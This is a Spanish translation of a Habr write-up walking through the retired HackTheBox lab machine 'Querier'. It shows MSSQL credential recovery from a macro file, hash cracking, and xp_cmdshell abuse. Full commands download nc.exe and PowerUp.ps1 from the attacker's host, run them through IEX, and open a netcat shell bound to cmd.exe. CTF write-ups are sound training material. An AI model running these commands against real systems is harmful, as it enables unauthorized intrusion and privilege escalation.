El paso de la máquina de laboratorio para el Pentest "Hackthebox - Querier"

Hola Habr! En este artículo, aprenderá acerca de un método para atacar un servidor remoto utilizando las características de MsSQL, crear un shell inverso para la fijación en el sistema y un ejemplo de cómo operar una política de grupo mal configurada en Windows.

Bajo el corte, hablaremos sobre nuestra experiencia de pasar la máquina de laboratorio Querier en el portal hackthebox .

Para aquellos que no saben qué es hackthebox, este es un portal donde puedes probar tus habilidades más recientes en la práctica, hay máscaras de CTF y máquinas de laboratorio.

Descargo de responsabilidad
Las reglas del servicio dicen: " No comparta cómo hackeó cada máquina con otros miembros. Esto incluye la generación del código de invitación y todos los desafíos ". Pero como esta máquina ya no está activa y se almacena en la sección Máquinas retiradas , solo los miembros VIP pueden acceder a ella.



Recopilación de información


Comencemos nuestra exploración comenzando el escaneo de puertos con nmap.

nmap –sC –Pn –A 10.10.10.125 



Enumeramos los puertos encontrados.

Enumerar 139/445 / tcp (smb)


Utilizaremos la utilidad smbclient para acceder a los recursos del servidor SMB.

 smbclient –L //10.10.10.125 

Después de revisar todos los recursos, encontramos en el directorio de Informes el archivo "Currency Volume Report.xlsm".



Si abre este archivo con Microsoft Excel estándar, a primera vista aparecerá completamente vacío.

Analizamos el archivo utilizando la utilidad binwalk , que lo ayudará a mirar los archivos incrustados del documento xlsm.



De la salida de binwalk, encontramos algunos archivos interesantes contenidos en xlsm.
Usando la bandera –e, descomprímalo.

 binwalk –e Currency\ Volume\ Report.xlsm 



Ahora usaremos la utilidad de cadenas para generar caracteres impresos. Al revisar los archivos, encontramos datos interesantes en vbaProject.bin. Parece que encontramos las credenciales para el servidor mssql.



Para resumir la información recibida actualmente:

  • Sabemos que el servidor mssql está girando en el puerto 10.10.10.125:1433;
  • Tenemos credenciales del servidor mssql del usuario.

Así que intentemos conectarnos al servidor usando el script del módulo impacket .

 python mssqlclient.py QUERIER/reporting:'PcwTWTHRwryjc$c6'@10.10.10.125 -windows-auth 

Obtenga acceso a MsSQL.



Enumerar MsSQL


Enumeramos la información útil para nosotros usando los comandos del artículo .
Después de ejecutar SQLi, obtenemos un hash de la contraseña del usuario mssql-svc.



Para obtener la contraseña explícitamente, es necesario eliminarla utilizando cualquier herramienta que sea conveniente para usted.

  1.  john --format=netntlmv2 hash.txt 
  2.  hashcat -m 5600 -a 3 hash.txt 

Obtenemos la contraseña de mssql-svc .

Conexión a SQL con nuevos préstamos de credenciales.

 python mssqlclient.py QUERIER/mssql-svc:'corporate568'@10.10.10.125 -windows-auth 

Los derechos de este usuario nos permiten ejecutar xp_cmdshell

Sobre xp_cmdshell
MsSQL se entrega con un amplio conjunto de procedimientos avanzados almacenados. El más interesante de ellos es xp_cmdshell. Proporciona acceso a la línea de comando del sistema operativo.

Consigue el caparazón inverso


Estamos tratando de obtener el shell a través de netcat, para esto necesitamos subirlo al servidor atacado.

Vamos al directorio de nuestra máquina donde se encuentra netcat y ejecutamos:

 python –m SimpleHTTPServer 

En el shell mssql para descargar netcat (nc.exe) en el servidor remoto, ejecute el comando powershell, especificando la ruta de guardado.

 xp_cmdshell "powershell.exe Invoke-WebRequest "http://10.10.xx:8000/nc.exe" – OutFile "C:\Users\mssql-svc\Desktop\nc.exe" " 

Iniciamos netcat para escuchar en el puerto 4444.

 xp_cmdshell "powershell C:/Users/mssql-svc/Desktop/nc.exe -l -p 4444 -e cmd.exe" 

Iniciamos netcat de nuestro lado, especificando la ip y el puerto del servidor atacado y obtenemos el shell.

 nc 10.10.10.125 4444 

Ejecute un script desde PowerShellMafia para aumentar los privilegios.

 powershell.exe IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.xx:8000/PowerUp.ps1\"); Invoke-AllChecks 



Como resultado del script, obtuvimos las credenciales de administrador.

Accedemos a recursos smb con nuevas credenciales y permisos.





Tome la bandera de root.txt. Victoria!

Source: https://habr.com/ru/post/465687/


All Articles